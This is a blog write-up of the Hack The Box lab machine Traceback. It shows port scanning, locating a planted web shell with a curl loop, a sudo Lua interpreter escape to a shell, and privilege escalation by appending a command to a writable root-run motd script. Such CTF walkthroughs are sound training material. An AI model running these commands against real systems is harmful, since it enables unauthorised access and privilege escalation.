HTB Traceback

Published by wtfender on

This is a quick write-up for the HTB machine Traceback.

Enumeration

A quick port scan revealed a couple services.

nmap -Pn 10.10.10.181

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

I visited the web server, which had a “hacked” message. I tried enumerating directories, webpages, and HTTP methods, but nothing was of interest other than the message

<body>
	<center>
		<h1>This site has been owned</h1>
		<h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
		<h3> - Xh4H - </h3>
		<!--Some of the best web shells that you might need ;)-->
	</center>
</body>

I was lost for a bit, but focusing on the message I decided to look for common web shells that might already exist on the server. Once I finally searched for Xh4H and web shell together, I found the intended twitter message linking to a list of web shells.

I cloned the web shell repo and used a curl loop to see if any of the default filenames were found on the server.


git clone https://github.com/TheBinitGhimire/Web-Shells.git
for file in `ls Web-Shells`; do echo $file && curl -I http://10.10.10.181/$file; done

punk-nopass.php
HTTP/1.1 404 Not Found

r57.php
HTTP/1.1 404 Not Found

smevk.php
HTTP/1.1 200 OK

I quickly found that one of the scripts is on the server. After visiting the web shell 10.10.10.181/smevk.php, there is a login page and it uses the credentials hardcoded in the script.

The web shell provides a lot of immediate info about our user-level permissions, including our username webadmin, and allows us to run a variety of post-exploitation enumeration scripts.

Privledge Escalation

I prefer to work from a standard SSH session rather than a web shell, so I add my public SSH key to the current user’s ~/.ssh/authorized_keys and then SSH to the host.

ssh webadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sat May  2 19:11:34 2020 from 10.10.14.34
webadmin@traceback:~$ 

The first thing I notice is the connection error in the motd when connecting. I checked for the user flag in webadmin’s home directory, but didn’t find it. Instead there is a note.txt with a pointed message about lua – which implies privesc is needed.

webadmin@traceback:~$ cat ~/note.txt 
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

I started doing some standard user privesc checks and sudo -l finally led me to the next step. If you use any sort of enumeration or post post-exploitation scripts, this should get caught.

webadmin@traceback:~$ sudo -l
Matching Defaults entries for webadmin on traceback:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User webadmin may run the following commands on traceback:
    (sysadmin) NOPASSWD: /home/sysadmin/luvit

This means that our current user webadmin can run the luvit program as sysadmin. Luvit happens to be a lua REPL interpreter, which lines up with the note.txt from earlier. Running levit as sysadmin via sudo, we can spawn a shell with sysadmin’s permissions. The user flag is in sysadmin’s home directory.

webadmin@traceback:~$ sudo -u sysadmin /home/sysadmin/luvit -e 'os.execute("/bin/bash")'
sysadmin@traceback:~$ cat ~/user.txt
# HTB{user_flag}

Moving onto the root flag, I started privesc enumeration. When viewing the running processes, I noticed an odd job interacting with motd then I recalled the altered motd from earlier.

root       5660  0.0  0.0   4628   772 ?        Ss   17:48   0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

In hindsight, I got a little lucky with noticing the running process because it would disappear and reappear. This turned out to be a cronjob, which I believe could have been caught with further enumeration.

Checking out both directories involved in the process, I found writeable files in /etc/update-motd.d/. These files are altering the motd banner when connecting via SSH.

sysadmin@traceback:~$ ls -lha /etc/update-motd.d/
total 32K
drwxr-xr-x  2 root sysadmin 4.0K Aug 27  2019 .
drwxr-xr-x 80 root root     4.0K Mar 16 03:55 ..
-rwxrwxr-x  1 root sysadmin  981 May  3 12:22 00-header
-rwxrwxr-x  1 root sysadmin  982 May  3 12:22 10-help-text
-rwxrwxr-x  1 root sysadmin 4.2K May  3 12:22 50-motd-news
-rwxrwxr-x  1 root sysadmin  604 May  3 12:22 80-esm
-rwxrwxr-x  1 root sysadmin  299 May  3 12:22 91-release-upgrade

sysadmin@traceback:~$ cat /etc/update-motd.d/00-header 
#!/bin/sh

[ -r /etc/lsb-release ] && . /etc/lsb-release


echo "\nWelcome to Xh4H land \n"

Because this file is writeable, we can add some code that will be executed by root when we first connect over SSH. I simply added a command to display the root flag in the SSH motd banner. Then I reconnected to see the flag.

sysadmin@traceback:~$ echo "cat /root/root.txt" >> /etc/update-motd.d/00-header 
sysadmin@traceback:~$ exit
webadmin@traceback:~$ exit
logout
Connection to 10.10.10.181 closed.
root@kali:~# ssh webadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

HTB{root_flag}


Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun May  3 12:19:35 2020 from 10.10.14.34

Categories: feature

0 Comments

Leave a Reply